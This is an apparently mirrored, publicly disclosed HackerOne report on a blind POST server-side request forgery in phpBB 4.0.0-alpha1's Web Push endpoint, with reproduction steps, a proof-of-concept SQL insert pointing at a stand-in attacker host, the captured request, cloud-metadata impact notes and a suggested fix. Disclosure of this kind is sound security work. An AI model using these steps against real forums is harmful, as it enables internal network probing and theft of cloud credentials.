HexBrain

phpBB · Report #3608558

Blind POST SSRF via Web Push Notification Endpoint

Validstatus
mediumseverity
33upvotes
30 May 2026disclosed

How it was found

Summary

A registered user can register an arbitrary URL as their Web Push notification endpoint. phpBB stores this URL without validation and later uses the Minishlink WebPush library to send HTTP POST requests to it. This allows the attacker to force the phpBB server to make outbound HTTP requests to internal network services, cloud metadata endpoints, or other attacker-controlled destinations.

This is the same class of vulnerability as HackerOne #1018568 (SSRF in Jabber settings), but requires only a registered user rather than admin access. The Jabber feature was removed in phpBB 4.0 via migration; Web Push was added as its replacement.

Severity

Medium — CVSS 3.1: 5.0 (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N)

Affected Version

phpBB 4.0.0-alpha1 (commit 4a57f1ff3c)

Prerequisites

  • Web Push notifications enabled by admin (webpush_enable=1 + VAPID keys configured)
  • webpush_enable defaults to false on fresh install but webpush_method_default_enable defaults to true, meaning once an admin enables it, all users have it active
  • Attacker has a registered user account

Steps to Reproduce

1. Setup

Enable Web Push in ACP → Board settings → set VAPID keys. Or via DB:

UPDATE phpbb_config SET config_value = '1' WHERE config_name = 'webpush_enable';
-- Generate and set VAPID keys via Minishlink\WebPush\VAPID::createVapidKeys()

2. Register malicious push endpoint

As a registered user, subscribe to Web Push notifications via the browser. Intercept the subscription request to /user/push/subscribe and replace the endpoint field with an internal URL. The attacker must supply valid P-256 ECDH keys (trivially generated).

The endpoint is stored at webpush.php:321-327:

$sql = 'INSERT INTO ' . $this->push_subscriptions_table . ' '
    . $this->db->sql_build_array('INSERT', [
    'user_id'   => $this->user->id(),
    'endpoint'  => $data['endpoint'],  // ← no URL validation
    // ...
]);

3. Trigger a notification

Any event that generates a notification for the attacker (another user replies to their topic, quotes their post, sends them a PM, etc.).

4. Server makes outbound request

The notification method at notification/method/webpush.php:248-255 reads the endpoint from the database and sends an HTTP POST via Guzzle:

$push_subscription = Subscription::create([
    'endpoint' => $subscription['endpoint'],  // from DB, unvalidated
]);
$web_push->queueNotification($push_subscription, $json_data);

Proof of Concept — Live Verified

Tested on phpBB 4.0.0-alpha1 in Docker (PHP 8.2 + MySQL 8.0):

  1. Inserted malicious subscription:
INSERT INTO phpbb_push_subscriptions (user_id, endpoint, p256dh, auth)
VALUES (2, 'http://attacker-server:9999/ssrf-poc', '<valid_p256dh>', '<valid_auth>');
  1. Triggered notification via $notification_manager->add_notifications()

  2. Attacker's HTTP listener received:

POST /ssrf-poc HTTP/1.1
Host: attacker-server:9999
User-Agent: GuzzleHttp/7
Content-Type: application/octet-stream
Content-Encoding: aesgcm
Authorization: WebPush TOKEN...
Content-Length: 3070

The phpBB server sent a full Web Push protocol request (encrypted payload, VAPID JWT, ECDH headers) to the attacker-controlled URL.

Impact

Impact

  • Blind POST SSRF: the server sends HTTP POST requests to arbitrary URLs. The attacker does not see the response body, but can observe timing, connection success/failure, and response status via the phpBB admin log.
  • Internal network probing: port scanning and service discovery of hosts reachable from the phpBB server but not from the internet.
  • Cloud metadata access: on cloud-hosted instances, requests to http://169.254.169.254/ can reach the instance metadata service. AWS IMDSv1 responds to POST requests, potentially leaking IAM credentials.
  • Internal service interaction: POST requests with a non-empty body (3KB encrypted payload) are sent to the target, which could trigger actions on internal POST-accepting services.

Root Cause

webpush.php:subscribe() stores the user-supplied endpoint URL directly in the database without any validation. The W3C Push API specification defines that endpoints should be URLs of push services (e.g., fcm.googleapis.com, push.services.mozilla.com), but phpBB does not enforce this.

Suggested Fix

Validate the endpoint URL before storing:

// Option A: Allowlist of known push service domains
$allowed_hosts = ['fcm.googleapis.com', 'push.services.mozilla.com',
                  'notify.windows.com', 'web.push.apple.com'];
$parsed = parse_url($data['endpoint']);
if (!$parsed || $parsed['scheme'] !== 'https' ||
    !in_array($parsed['host'], $allowed_hosts) &&
    !str_ends_with($parsed['host'], '.notify.windows.com')) {
    throw new http_exception(400, 'INVALID_PUSH_ENDPOINT');
}

// Option B: At minimum, reject private/internal IPs
$host = parse_url($data['endpoint'], PHP_URL_HOST);
$ip = gethostbyname($host);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
    throw new http_exception(400, 'INVALID_PUSH_ENDPOINT');
}

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original